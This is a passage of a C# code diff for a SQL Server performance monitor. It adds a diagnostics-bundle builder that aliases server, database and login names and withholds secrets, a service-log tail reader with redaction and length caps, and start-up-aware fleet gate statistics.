+                    entry["message"] = DiagnosticsBundleServiceLog.CutAtWhitespace(text, DiagnosticsBundleServiceLog.MaxEntryChars);
+                }
+            }
+        }
+
+        return section;
+    }
+
+    /// <summary>
+    /// Builds the bundle text. <paramref name="postgres"/> is null when the store could not be reached
+    /// (<paramref name="storeError"/> then says why), which yields the reduced bundle and exit 2.
+    /// </summary>
+    internal static async Task<Outcome> BuildAsync(
+        DiagnosticsBundleOptions options,
+        DarlingConfig config,
+        string? connectionString,
+        NpgsqlDataSource? postgres,
+        Exception? storeError,
+        string? storeReason,
+        CancellationToken cancellationToken,
+        NameSourceSql? nameSources = null,
+        IPasswordKeyRing? keyRing = null)
+    {
+        var aliaser = new BundleAliaser();
+        var warnings = new List<string>(DiagnosticsBundle.SeedFromConfig(aliaser, config, connectionString, keyRing));
+        var sections = new List<BundleSection>();
+        string scope = "fleet";
+
+        if (postgres is not null)
+        {
+            var seeded = await SeedFromStoreAsync(aliaser, postgres, cancellationToken, nameSources);
+            if (seeded.FailedNameSource is not null)
+            {
+                /* The registry, the collected-data server list, the store's roles and databases and the monitored database
+                   inventories are where names are learned. With the store up and one unreadable, the bundle cannot prove
+                   it removed every name. */
+                return new Outcome(DiagnosticsBundleExitCode.LeakGuard, null, Array.Empty<BundleLeak>(), aliaser,
+                    seeded.FailedNameSource + ": a name source could not be read, so the bundle cannot prove it removed every name.");
+            }
+        }
+
+        string? scopeServerName = null;
+        if (postgres is not null && !string.IsNullOrWhiteSpace(options.ServerName))
+        {
+            var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, options.ServerName, cancellationToken);
+            if (error is not null)
+            {
+                return new Outcome(DiagnosticsBundleExitCode.ConfigError, null, Array.Empty<BundleLeak>(), aliaser,
+                    "--server did not match one monitored server.");
+            }
+
+            scopeServerName = resolved.ServerName;
+            scope = aliaser.AddServer(resolved.ServerId, resolved.ServerName);
+        }
+
+        sections.Add(new BundleSection("config_shape", DiagnosticsBundle.BuildConfigShape(config), false));
+
+        if (postgres is null)
+        {
+            /* No sentence: an error message and the store's own help text quote paths and addresses nobody registered.
+               The reason is a fixed code, and the two codes a driver gives (a SQLSTATE, a socket error name) are enums. */
+            var unreachable = new JsonObject
+            {
+                ["status"] = "store_unreachable",
+                ["error_class"] = storeError is null ? "NotConfigured" : SlowReadLog.ErrorClassOf(storeError),
+                ["reason"] = DiagnosticsBundle.StoreReasonCode(storeReason, storeError),
+            };
+            if (DiagnosticsBundle.SqlStateOf(storeError) is { } sqlState)
+            {
+                unreachable["sql_state"] = sqlState;
+            }
+
+            if (DiagnosticsBundle.SocketErrorOf(storeError) is { } socketError)
+            {
+                unreachable["socket_error"] = socketError;
+            }
+
+            if (!string.IsNullOrWhiteSpace(options.ServerName))
+            {
+                const string ignored = "--server was ignored: the store is unreachable, so the server could not be looked up and no section is limited to it.";
+                unreachable["server_scope"] = ignored;
+                warnings.Add(ignored);
+            }
+
+            sections.Add(new BundleSection("store_unreachable", unreachable, true));
+        }
+        else
+        {
+            var hours = options.Hours;
+            var days = Math.Max(1, (int)Math.Ceiling(hours / 24.0));
+            var ct = cancellationToken;
+            sections.Add(await DiagnosticsBundle.RunSectionAsync("store", c => StoreSectionAsync(postgres, config, c), ct));
+            sections.Add((await DiagnosticsBundle.RunSectionAsync("collection",
+                c => CollectionSectionAsync(postgres, scopeServerName, hours, days, c), ct)) with { AfterAlias = CutHealthTexts });
+            sections.Add(await DiagnosticsBundle.RunSectionAsync("stall_probes",
+                async c => DiagnosticsBundle.ParseReader(await DarlingMcpStallProbeTools.GetCollectorStallProbes(postgres, scopeServerName, days, 50, c)), ct));
+            sections.Add(await DiagnosticsBundle.RunSectionAsync("slow_reads",
+                async c => DropStatementSummaries(DiagnosticsBundle.ParseReader(await DarlingMcpSlowReadTools.GetSlowReads(postgres, hours, scopeServerName, null, null, 100, true, c))), ct));
+            sections.Add(await DiagnosticsBundle.RunSectionAsync("read_latency",
+                async c => DiagnosticsBundle.ParseReader(await DarlingMcpReadLatencyTools.GetReadLatency(postgres, hours, null, null, 200, c)), ct));
+            sections.Add((await DiagnosticsBundle.RunSectionAsync("store_statements",
+                c => StoreStatementsSectionAsync(postgres, hours, c), ct)) with { AfterAlias = CompactStatementTexts });
+            sections.Add(await DiagnosticsBundle.RunSectionAsync("store_log",
+                async c => DiagnosticsBundle.ParseReader(await DarlingMcpStoreLogTools.GetStoreLog(postgres, hours, 50, null, c)), ct));
+        }
+
+        var logDirectory = options.LogDirectory ?? DarlingFileLoggerProvider.DefaultLogDirectory();
+        var searched = options.LogDirectory is null ? "default" : "--log-dir";
+
+        /* With the store down, the registry (--add-server entries live only there) cannot be read, so servers known only to
+           it cannot be aliased. The service log then goes out as counts only, unless the caller asks for the text. */
+        var includeText = postgres is not null || options.IncludeLogText;
+        if (postgres is null && options.IncludeLogText)
+        {
+            const string registryOnly = "--include-log-text with the store unreachable: servers known only to the store registry cannot be aliased, so the service log text may name them. Read the file before you attach it.";
+            warnings.Add(registryOnly);
+        }
+
+        var logSection = await DiagnosticsBundle.RunSectionAsync("service_log",
+            _ => Task.FromResult<JsonNode?>(DiagnosticsBundleServiceLog.Read(logDirectory, searched, DateTime.Now.AddHours(-options.Hours), includeText)), cancellationToken);
+        sections.Add(logSection with { AfterAlias = CapServiceLogMessages });
+
+        var failedSections = sections.Count(s => s.Failed && s.Name != "store_unreachable");
+        var exit = postgres is null ? DiagnosticsBundleExitCode.StoreUnreachable
+            : failedSections > 0 ? DiagnosticsBundleExitCode.PartialBundle : DiagnosticsBundleExitCode.Ok;
+
+        var manifest = DiagnosticsBundle.BuildManifest(options.Hours, scope, exit);
+        if (warnings.Count > 0)
+        {
+            manifest["notes"] = new JsonArray(warnings.Select(w => (JsonNode?)JsonValue.Create(w)).ToArray());
+        }
+
+        var (text, leaks, overCap) = DiagnosticsBundle.Assemble(sections, aliaser, manifest);
+        if (overCap)
+        {
+            return new Outcome(DiagnosticsBundleExitCode.OutputError, null, leaks, aliaser, "The bundle could not be held under the size cap.");
+        }
+
+        if (text is null)
+        {
+            return new Outcome(DiagnosticsBundleExitCode.LeakGuard, null, leaks, aliaser, "A known name or secret survived aliasing.");
+        }
+
+        return new Outcome(exit, text, leaks, aliaser, string.Empty, warnings);
+    }
+
+    /// <summary>
+    /// The SQL of each store name source. The defaults are the product's reads; a test substitutes one to make exactly
+    /// that source fail.
+    /// </summary>
+    internal sealed record NameSourceSql(
+        string Registry = RegistryNamesSql,
+        string RegistryAws = RegistryAwsSql,
+        string Servers = CollectServersSql,
+        string Roles = StoreRolesSql,
+        string Databases = StoreDatabasesSql,
+        string Inventory = DatabaseInventorySql,
+        string PgInventory = PgDatabaseInventorySql);
+
+    /// <summary>What reading the store's name sources gave: the first source that failed (null when none did).</summary>
+    internal sealed record SeedResult(string? FailedNameSource);
+
+    /// <summary>
+    /// Reads every store name source. While the store is up, a source that cannot be read leaves names known only to it
+    /// unaliased and unknown to the verifier, so the first failure is returned by name and the caller refuses.
+    /// </summary>
+    internal static async Task<SeedResult> SeedFromStoreAsync(
+        BundleAliaser aliaser, NpgsqlDataSource postgres, CancellationToken ct, NameSourceSql? sql = null)
+    {
+        sql ??= new NameSourceSql();
+        string? failedNameSource = null;
+
+        if (!await TryReadAsync(postgres, sql.Registry, reader =>
+        {
+            aliaser.AddName(AliasKind.Server, reader.IsDBNull(0) ? null : reader.GetString(0));
+            aliaser.AddName(AliasKind.Host, reader.IsDBNull(1) ? null : reader.GetString(1));
+            aliaser.AddName(AliasKind.Database, reader.IsDBNull(2) ? null : reader.GetString(2));
+            aliaser.AddName(AliasKind.Login, reader.IsDBNull(3) ? null : reader.GetString(3));
+            if (!reader.IsDBNull(4))
+            {
+                foreach (var excluded in reader.GetFieldValue<string[]>(4))
+                {
+                    aliaser.AddName(AliasKind.Database, excluded);
+                }
+            }
+        }, ct))
+        {
+            failedNameSource ??= "config_monitored_servers";
+        }
+
+        if (!await TryReadAsync(postgres, sql.RegistryAws, reader =>
+        {
+            DiagnosticsBundle.SeedAwsRole(
+                aliaser,
+                reader.IsDBNull(0) ? null : reader.GetString(0),
+                reader.IsDBNull(1) ? null : reader.GetString(1));
+        }, ct, missingColumnIsEmpty: true))
+        {
+            failedNameSource ??= "config_monitored_servers (aws role)";
+        }
+
+        /* Servers by id first so the alias order follows server_id; display names share their server's alias. */
+        if (!await TryReadAsync(postgres, sql.Servers, reader =>
+        {
+            var id = reader.GetInt32(0);
+            var name = reader.IsDBNull(1) ? null : reader.GetString(1);
+            aliaser.AddServer(id, name);
+            if (!reader.IsDBNull(2))
+            {
+                aliaser.AddNameLike(reader.GetString(2), name);
+            }
+        }, ct))
+        {
+            failedNameSource ??= "servers";
+        }
+
+        if (!await TryReadAsync(postgres, sql.Roles, reader =>
+        {
+            var role = reader.GetString(0);
+            if (!BundleAliaser.ProductRoles.Contains(role, StringComparer.OrdinalIgnoreCase))
+            {
+                aliaser.AddName(AliasKind.Login, role);
+            }
+        }, ct))
+        {
+            failedNameSource ??= "pg_roles";
+        }
+
+        if (!await TryReadAsync(postgres, sql.Databases, reader => aliaser.AddName(AliasKind.Database, reader.GetString(0)), ct))
+        {
+            failedNameSource ??= "pg_database";
+        }
+
+        if (!await TryReadAsync(postgres, sql.Inventory, reader => aliaser.AddName(AliasKind.Database, reader.GetString(0)), ct))
+        {
+            failedNameSource ??= "collect.database_states";
+        }
+
+        if (!await TryReadAsync(postgres, sql.PgInventory, reader => aliaser.AddName(AliasKind.Database, reader.GetString(0)), ct))
+        {
+            failedNameSource ??= "collect.pg_database_stats";
+        }
+
+        return new SeedResult(failedNameSource);
+    }
+
+    /// <summary>One bounded read for the name set. Returns false when the read failed; the caller refuses, since a name source that cannot be read leaves its names unaliased.</summary>
+    private static async Task<bool> TryReadAsync(NpgsqlDataSource postgres, string sql, Action<NpgsqlDataReader> each, CancellationToken ct, bool missingColumnIsEmpty = false)
+    {
+        try
+        {
+            await using var command = postgres.CreateCommand(sql);
+            command.CommandTimeout = ServiceCommandDeadlines.CliStoreReadSeconds;
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            while (await reader.ReadAsync(ct))
+            {
+                each(reader);
+            }
+
+            return true;
+        }
+        catch (PostgresException ex) when (missingColumnIsEmpty && ex.SqlState == PostgresErrorCodes.UndefinedColumn)
+        {
+            /* A store older than the column this read asks for: no such rows exist, so there is nothing to alias. */
+            return true;
+        }
+        catch (Exception ex) when (ex is NpgsqlException or InvalidOperationException or InvalidCastException)
+        {
+            return false;
+        }
+    }
+
+    private static async Task<JsonNode?> StoreSectionAsync(NpgsqlDataSource postgres, DarlingConfig config, CancellationToken ct)
+    {
+        long stored;
+        await using (var command = postgres.CreateCommand(DarlingWebEndpoints.QueryStoreWideSchemaVersionSql))
+        {
+            command.CommandTimeout = ServiceCommandDeadlines.CliStoreReadSeconds;
+            stored = Convert.ToInt64(await command.ExecuteScalarAsync(ct) ?? 0L, CultureInfo.InvariantCulture);
+        }
+
+        var host = DiagnosticsBundle.ParseReader(
+            await DarlingMcpStoreHostTools.GetStoreHost(postgres, config.Postgres, new StoreHostProfileCache(TimeSpan.FromMinutes(1)), ct));
+        return new JsonObject
+        {
+            ["schema_version_stored"] = stored,
+            ["schema_version_compiled"] = StorageVersion.SchemaVersion,
+            ["host"] = host,
+            ["password_key"] = await PasswordKeyInfoAsync(postgres, ct),
+        };
+    }
+
+    /// <summary>The published password key's id and the service's key state (#5366), read from the store. A store without the
+    /// tables reads <c>not_present</c>; any other failure reads <c>unavailable</c> with the error's class only, so this
+    /// member never fails the store section.</summary>
+    private static async Task<JsonNode?> PasswordKeyInfoAsync(NpgsqlDataSource postgres, CancellationToken ct)
+    {
+        try
+        {
+            await using var connection = await postgres.OpenConnectionAsync(ct);
+            var published = await PasswordKeyTables.ReadCurrentAsync(connection, ct);
+            var state = await PasswordKeyTables.ReadNewestServiceStateAsync(connection, ct);
+            return DiagnosticsBundle.BuildPasswordKeyInfo(published, state);
+        }
+        catch (PostgresException ex) when (ex.SqlState == "42P01")
+        {
+            return new JsonObject { ["status"] = "not_present" };
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return new JsonObject { ["status"] = "unavailable", ["error_class"] = SlowReadLog.ErrorClassOf(ex) };
+        }
+    }
+
+    private static async Task<JsonNode?> CollectionSectionAsync(NpgsqlDataSource postgres, string? serverName, int hours, int days, CancellationToken ct)
+    {
+        var health = new JsonArray();
+        var omitted = 0;
+        var servers = await DarlingServerResolver.LoadEnabledAsync(postgres, ct);
+        if (!string.IsNullOrWhiteSpace(serverName))
+        {
+            servers = servers.Where(s => string.Equals(s.ServerName, serverName, StringComparison.OrdinalIgnoreCase)).ToList();
+        }
+
+        var used = 0;
+        foreach (var server in servers)
+        {
+            if (used >= DiagnosticsBundle.HealthFanOutBudgetBytes)
+            {
+                omitted++;
+                continue;
+            }
+
+            var json = await DarlingMcpDataTools.GetCollectionHealthUncut(postgres, server.ServerName, ct);
+            used += System.Text.Encoding.UTF8.GetByteCount(json);
+            health.Add(new JsonObject { ["server_name"] = server.ServerName, ["health"] = DiagnosticsBundle.ParseReader(json) });
+        }
+
+        var fleet = ShapeFleetOverview(DiagnosticsBundle.ParseReader(await DarlingMcpFleetTools.GetFleetOverview(postgres, hours_back: 1, detail: "summary", cancellationToken: ct)));
+        var slowest = DiagnosticsBundle.ParseReader(await DarlingMcpDataTools.GetCollectionLog(
+            postgres, server_name: string.IsNullOrWhiteSpace(serverName) ? "*" : serverName, hours_back: hours, limit: 50, as_of: null,
+            collector_name: null, min_duration_ms: 1, status: null, full_text: true, logger: null, cancellationToken: ct));
+        var cost = DiagnosticsBundle.ParseReader(await DarlingMcpCollectorCostTools.GetCollectorCost(postgres, days, null, ct));
+        return new JsonObject
+        {
+            ["health_by_server"] = health,
+            ["servers_omitted"] = omitted,
+            ["fleet_overview"] = fleet,
+            ["slowest_runs"] = slowest,
+            ["collector_cost"] = cost,
+        };
+    }
+
+    private static async Task<JsonNode?> StoreStatementsSectionAsync(NpgsqlDataSource postgres, int hours, CancellationToken ct)
+    {
+        var cumulative = DiagnosticsBundle.ParseReader(
+            await DarlingMcpStoreQueryStatsTools.GetStoreQueryStats(postgres, null, "total_time", 25, true, ct));
+        var section = new JsonObject
+        {
+            ["cumulative"] = cumulative,
+            ["history"] = await StatementHistoryAsync(postgres, hours, ct),
+        };
+
+        /* A tool's error answer is a member, one level down, so the section's own status would still read ok while the member
+           failed (#5097). A section that throws reads error in its body, in the manifest and in the exit code; this one reads
+           the same when either member answered an error, keeping both members with the tool's own error in the one that failed.
+           The exit code (RunSectionAsync) and the manifest (Assemble) both take a section's failure from this status. */
+        if (MemberFailed(section))
+        {
+            section.Insert(0, "status", "error");
+        }
+
+        return section;
+    }
+
+    /// <summary>
+    /// The statement history, read through <c>get_store_query_history</c> (#5097): the answer of the tool's ranked mode, the
+    /// 25 rows that spent the most time in the window (one per role and statement), becomes the member as the tool wrote it,
+    /// with each statement's text whole (<see cref="DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistoryUncut"/>), because
+    /// the bundle aliases the text before <see cref="CompactStatementTexts"/> cuts it. A refusal or an error the tool answers
+    /// is the member as it is, with its <c>status</c>. The existence probe stays: a store before V163 reads <c>not_present</c>
+    /// with the reason below, and never reaches the tool. Never reads the diff-state baseline table.
+    /// </summary>
+    /// <remarks>
+    /// The window is the bundle's <c>--hours</c>, clamped to the tool's range (1 to <see cref="DarlingMcpStoreQueryHistoryTools.MaxHours"/>).
+    /// <c>--hours</c> stops at 168 today, so the clamp is a guard for the day that range widens; when it acts, the member
+    /// carries <c>hours_back_clamped_from</c> with the value that was asked for.
+    /// </remarks>
+    internal static async Task<JsonNode?> StatementHistoryAsync(NpgsqlDataSource postgres, int hours, CancellationToken ct)
+    {
+        bool present;
+        await using (var probe = postgres.CreateCommand(StatementHistoryPresentSql))
+        {
+            probe.CommandTimeout = ServiceCommandDeadlines.CliStoreReadSeconds;
+            present = (await probe.ExecuteScalarAsync(ct)) is true;
+        }
+
+        if (!present)
+        {
+            return new JsonObject { ["status"] = "not_present", ["reason"] = "This store has no statement-history tables yet." };
+        }
+
+        var hoursBack = Math.Clamp(hours, 1, DarlingMcpStoreQueryHistoryTools.MaxHours);
+        var answer = DiagnosticsBundle.ParseReader(
+            await DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistoryUncut(postgres, hoursBack, StatementHistoryTop, ct));
+        if (hoursBack != hours && answer is JsonObject history)
+        {
+            history["hours_back_clamped_from"] = hours;
+        }
+
+        return answer;
+    }
+
+    /// <summary>
+    /// Whether either member of the section, <c>cumulative</c> or <c>history</c>, is the tool's error answer. A member is nested
+    /// under the section, so the section's own status does not show it; <see cref="StoreStatementsSectionAsync"/> then gives the
+    /// section the status a section that throws gets (<c>error</c>), so the exit code and the manifest both count it as failed,
+    /// as they did when a failed read threw. A precondition or a refusal is not an error: it is how a store that cannot serve
+    /// the read yet answers, and it is not counted.
+    /// </summary>
+    internal static bool MemberFailed(JsonNode? section) =>
+        section is JsonObject o
+        && (DiagnosticsBundle.StatusOf(o["history"]) == "error" || DiagnosticsBundle.StatusOf(o["cumulative"]) == "error");
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleServiceLog.cs b/Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleServiceLog.cs
new file mode 100644
index 0000000000..e1b72ddb10
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleServiceLog.cs
@@ -0,0 +1,245 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.Json.Nodes;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// The service-log section of the diagnostics bundle: the recent WARN, ERROR and CRIT entries of the
+/// <c>darling-service_yyyyMMdd.log</c> files in a directory. Files open with
+/// <c>FileShare.ReadWrite | FileShare.Delete</c> because the logger appends to today's file and retention may delete
+/// an old one while this reads. Each file contributes at most <see cref="TailBytes"/> from its end, with the partial
+/// first line dropped. A section that cannot be read says why (<c>not_found</c>, <c>no_files_in_window</c>, a per-file
+/// <c>error_class</c>) and never fails the verb.
+/// </summary>
+internal static class DiagnosticsBundleServiceLog
+{
+    internal const int TailBytes = 8 * 1024 * 1024;
+    internal const int MaxEntryChars = 2_000;
+
+    /// <summary>
+    /// How much of an entry <see cref="Read"/> keeps for the alias pass. The cut to <see cref="MaxEntryChars"/> comes
+    /// AFTER aliasing, so a name straddling the final cut cannot be left as an unrecognizable prefix.
+    /// </summary>
+    internal const int AliasInputChars = 16_384;
+    internal const int MaxEntries = 300;
+    private const string FilePrefix = "darling-service_";
+
+    private static readonly Regex s_entryStart = new(
+        @"^(?<ts>\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}\.\d{3}) \[(?<level>TRACE|DEBUG|INFO |WARN |ERROR|CRIT )\] \[(?<cat>[^\]]*)\] (?<msg>.*)$",
+        RegexOptions.CultureInvariant | RegexOptions.Singleline,
+        TimeSpan.FromSeconds(1));
+
+    /// <summary>Reads the section. <paramref name="searched"/> names where the directory came from (<c>default</c> or <c>--log-dir</c>); the path itself never enters the bundle.</summary>
+    internal static JsonObject Read(string directory, string searched, DateTime windowStartLocal, bool includeEntries = true)
+    {
+        if (!Directory.Exists(directory))
+        {
+            return NotFound(searched);
+        }
+
+        var files = new List<(string Path, DateTime Date)>();
+        try
+        {
+            foreach (var path in Directory.EnumerateFiles(directory, FilePrefix + "*.log"))
+            {
+                var stem = System.IO.Path.GetFileNameWithoutExtension(path)[FilePrefix.Length..];
+                if (DateTime.TryParseExact(stem, "yyyyMMdd", CultureInfo.InvariantCulture, DateTimeStyles.None, out var date)
+                    && date >= windowStartLocal.Date)
+                {
+                    files.Add((path, date));
+                }
+            }
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+        {
+            return new JsonObject { ["status"] = "error", ["searched"] = searched, ["error_class"] = SlowReadLog.ErrorClassOf(ex) };
+        }
+
+        if (files.Count == 0)
+        {
+            return new JsonObject
+            {
+                ["status"] = "no_files_in_window",
+                ["searched"] = searched,
+                ["hint"] = "The directory exists but holds no darling-service_yyyyMMdd.log file dated inside the window.",
+            };
+        }
+
+        var entries = new List<(DateTime Time, string Level, string Category, string Message)>();
+        var fileInfo = new JsonArray();
+        foreach (var (path, date) in files.OrderByDescending(f => f.Date))
+        {
+            var info = new JsonObject { ["date"] = date.ToString("yyyy-MM-dd", CultureInfo.InvariantCulture) };
+            try
+            {
+                var (text, bytes, partial) = ReadTail(path);
+                info["bytes"] = bytes;
+                info["tail_only"] = partial;
+                entries.AddRange(Parse(text, partial, windowStartLocal, AliasInputChars));
+            }
+            catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+            {
+                info["error_class"] = SlowReadLog.ErrorClassOf(ex);
+            }
+
+            fileInfo.Add(info);
+        }
+
+        var counts = new JsonArray();
+        foreach (var group in entries.GroupBy(e => (e.Level, e.Category)).OrderByDescending(g => g.Count()).ThenBy(g => g.Key.Level, StringComparer.Ordinal).ThenBy(g => g.Key.Category, StringComparer.Ordinal))
+        {
+            counts.Add(new JsonObject { ["level"] = group.Key.Level, ["category"] = group.Key.Category, ["count"] = group.Count() });
+        }
+
+        if (!includeEntries)
+        {
+            /* Counts only: no message text leaves the service log unless the caller opted in. */
+            return new JsonObject
+            {
+                ["status"] = "ok",
+                ["searched"] = searched,
+                ["text_withheld"] = true,
+                ["files"] = fileInfo,
+                ["entries_in_window"] = entries.Count,
+                ["counts"] = counts,
+            };
+        }
+
+        var newest = new JsonArray();
+        foreach (var e in entries.OrderByDescending(e => e.Time).Take(MaxEntries))
+        {
+            newest.Add(new JsonObject
+            {
+                ["time_local"] = e.Time.ToString("yyyy-MM-dd HH:mm:ss.fff", CultureInfo.InvariantCulture),
+                ["level"] = e.Level,
+                ["category"] = e.Category,
+                ["message"] = e.Message,
+            });
+        }
+
+        return new JsonObject
+        {
+            ["status"] = "ok",
+            ["searched"] = searched,
+            ["files"] = fileInfo,
+            ["entries_in_window"] = entries.Count,
+            ["counts"] = counts,
+            ["entries"] = newest,
+        };
+    }
+
+    private static JsonObject NotFound(string searched) => new()
+    {
+        ["status"] = "not_found",
+        ["searched"] = searched,
+        ["reason"] = "The service log directory does not exist. File logging may be off (the service disables it when it cannot create the directory), or the log is somewhere else.",
+        ["hint"] = "Pass --log-dir <dir> to point at the log directory. Under systemd the log is in the journal (journalctl -u <unit>), which this verb does not read.",
+    };
+
+    private static (string Text, long Bytes, bool Partial) ReadTail(string path)
+    {
+        using var stream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete);
+        var length = stream.Length;
+        var partial = length > TailBytes;
+        var start = partial ? length - TailBytes : 0;
+        stream.Seek(start, SeekOrigin.Begin);
+        var buffer = new byte[(int)(length - start)];
+        var read = 0;
+        while (read < buffer.Length)
+        {
+            var n = stream.Read(buffer, read, buffer.Length - read);
+            if (n == 0)
+            {
+                break;
+            }
+
+            read += n;
+        }
+
+        return (Encoding.UTF8.GetString(buffer, 0, read), length, partial);
+    }
+
+    /// <summary>Cuts text to <paramref name="max"/> characters, backing up to the last whitespace so a word is not left half-cut.</summary>
+    internal static string CutAtWhitespace(string text, int max)
+    {
+        if (text.Length <= max)
+        {
+            return text;
+        }
+
+        var cut = text.LastIndexOfAny(new[] { ' ', '\n', '\t' }, max - 1);
+        return cut > max / 2 ? text[..cut] : text[..max];
+    }
+
+    /// <summary>Parses entries from log text. A <paramref name="partial"/> read drops its first line (cut mid-line by the seek). Pure.</summary>
+    internal static List<(DateTime Time, string Level, string Category, string Message)> Parse(
+        string text, bool partial, DateTime windowStartLocal, int maxEntryChars = MaxEntryChars)
+    {
+        var result = new List<(DateTime, string, string, string)>();
+        var lines = text.Replace("\r\n", "\n", StringComparison.Ordinal).Split('\n');
+        var first = partial ? 1 : 0;
+        DateTime? time = null;
+        string level = string.Empty, category = string.Empty;
+        StringBuilder? message = null;
+
+        void Flush()
+        {
+            if (message is not null && time is { } t && level is "WARN" or "ERROR" or "CRIT" && t >= windowStartLocal)
+            {
+                /* #5320: the whole entry is judged first, then cut, so a statement past the cut still withholds the text
+                   before it. The judge has its own time budget and fails closed to the placeholder. */
+                var m = message.ToString();
+                m = SensitiveStatements.Text(m) ?? SensitiveStatements.PlaceholderText;
+                result.Add((t, level, category, CutAtWhitespace(m, maxEntryChars)));
+            }
+
+            message = null;
+        }
+
+        for (var i = first; i < lines.Length; i++)
+        {
+            var line = lines[i];
+            Match match;
+            try
+            {
+                match = s_entryStart.Match(line);
+            }
+            catch (RegexMatchTimeoutException)
+            {
+                continue;
+            }
+
+            if (match.Success)
+            {
+                Flush();
+                time = DateTime.ParseExact(match.Groups["ts"].Value, "yyyy-MM-dd HH:mm:ss.fff", CultureInfo.InvariantCulture);
+                level = match.Groups["level"].Value.Trim();
+                category = match.Groups["cat"].Value;
+                message = new StringBuilder(match.Groups["msg"].Value);
+            }
+            else if (message is not null && line.StartsWith("    ", StringComparison.Ordinal))
+            {
+                /* Every continuation line joins the entry (the tail read bounds the total), so the judge sees all of it. */
+                message.Append('\n').Append(line, 4, line.Length - 4);
+            }
+        }
+
+        Flush();
+        return result;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/FleetGateStats.cs b/Darling/PerformanceMonitor.Darling.Service/FleetGateStats.cs
index 71341c335f..f4e28745cb 100644
--- a/Darling/PerformanceMonitor.Darling.Service/FleetGateStats.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/FleetGateStats.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Diagnostics;
 using System.Globalization;
 using System.Threading;
 using PerformanceMonitor.Collectors;
@@ -53,6 +54,12 @@ internal readonly record struct FleetGateSnapshot(
 /// wall-clock minute, is reset when its slot is reused for a later minute, and a read only counts the current
 /// minute and the 59 before it, so a bucket older than the window drops out on its own. A bucket stamped ahead of
 /// the clock (the wall clock stepped backwards) is folded into the current minute.</para>
+///
+/// <para>#5597: every count is kept twice, in full and as the "judged" count that leaves out what was recorded in the first
+/// <see cref="DarlingSelfAlertEvaluator.FleetGateStartupMinutes"/> minutes after the service started. Which count a record
+/// belongs to is decided when it is recorded, on the monotonic uptime, so a wall-clock step in either direction cannot make
+/// a start-up count judged or a judged count unjudged. (A forward step still ages minutes out of the hour early, as it does
+/// the full counts.)</para>
 /// </summary>
 internal sealed class FleetGateStats
 {
@@ -60,13 +67,30 @@ internal sealed class FleetGateStats
     internal const int WindowMinutes = 60;
 
     private readonly Func<DateTime> _utcNow;
+    private readonly Func<TimeSpan?>? _uptime;
     private readonly object _lock = new();
     private readonly Bucket[] _buckets = new Bucket[WindowMinutes];
 
-    public FleetGateStats(Func<DateTime> utcNow)
+    /// <param name="utcNow">The wall clock the minute buckets are stamped on.</param>
+    /// <param name="uptime">#5597: how long the service has run, on a monotonic clock (<see cref="SkipCreditFloor.Uptime"/>); null
+    /// before the first tick. A slot recorded while it is under <see cref="DarlingSelfAlertEvaluator.FleetGateStartupMinutes"/>
+    /// (or null, or no clock given) is left out of the judged counts (<see cref="SnapshotJudged"/>) and stays in the shared ones.</param>
+    public FleetGateStats(Func<DateTime> utcNow, Func<TimeSpan?>? uptime = null)
     {
         ArgumentNullException.ThrowIfNull(utcNow);
         _utcNow = utcNow;
+        _uptime = uptime;
+    }
+
+    /// <summary>
+    /// #5597: whether a slot recorded now belongs in the judged counts: the monotonic uptime is at least
+    /// <see cref="DarlingSelfAlertEvaluator.FleetGateStartupMinutes"/>. Decided when the slot is recorded, so a wall-clock step
+    /// afterwards cannot make a start-up count judged, or a judged one unjudged.
+    /// </summary>
+    private bool IsJudgedNow()
+    {
+        var uptime = _uptime?.Invoke();
+        return uptime is not null && uptime.Value >= TimeSpan.FromMinutes(DarlingSelfAlertEvaluator.FleetGateStartupMinutes);
     }
 
     /// <summary>
@@ -76,11 +100,43 @@ public FleetGateStats(Func<DateTime> utcNow)
     /// </summary>
     public void RecordSlot(long skipped)
     {
+        var judged = IsJudgedNow();
         lock (_lock)
         {
             ref var bucket = ref BucketFor(_utcNow());
+            var counted = Math.Max(0, skipped);
             bucket.Run++;
-            bucket.Skipped += Math.Max(0, skipped);
+            bucket.Skipped += counted;
+            if (judged)
+            {
+                bucket.JudgedRun++;
+                bucket.JudgedSkipped += counted;
+            }
+        }
+    }
+
+    /// <summary>
+    /// #4938: records slots that were skipped and never ran, with no slot that ran beside them. A collector with a run time
+    /// that the pass could not hand off inside its hour loses that day's run, and <see cref="RecordSlot"/> would count a run
+    /// that did not happen. Pass <see cref="DarlingWorker.StepRunTimeCollector"/>'s count: 1 for a day lost while the
+    /// sweep loop was running, 0 after a sleep, a pause or a stopped service, which records nothing.
+    /// </summary>
+    public void RecordSkippedSlots(long skipped)
+    {
+        if (skipped <= 0)
+        {
+            return;
+        }
+
+        var judged = IsJudgedNow();
+        lock (_lock)
+        {
+            ref var bucket = ref BucketFor(_utcNow());
+            bucket.Skipped += skipped;
+            if (judged)
+            {
+                bucket.JudgedSkipped += skipped;
+            }
         }
     }
 
@@ -88,17 +144,68 @@ public void RecordSlot(long skipped)
     public void RecordQueueWait(TimeSpan wait)
     {
         var ticks = Math.Max(0, wait.Ticks);
+        var judged = IsJudgedNow();
         lock (_lock)
         {
             ref var bucket = ref BucketFor(_utcNow());
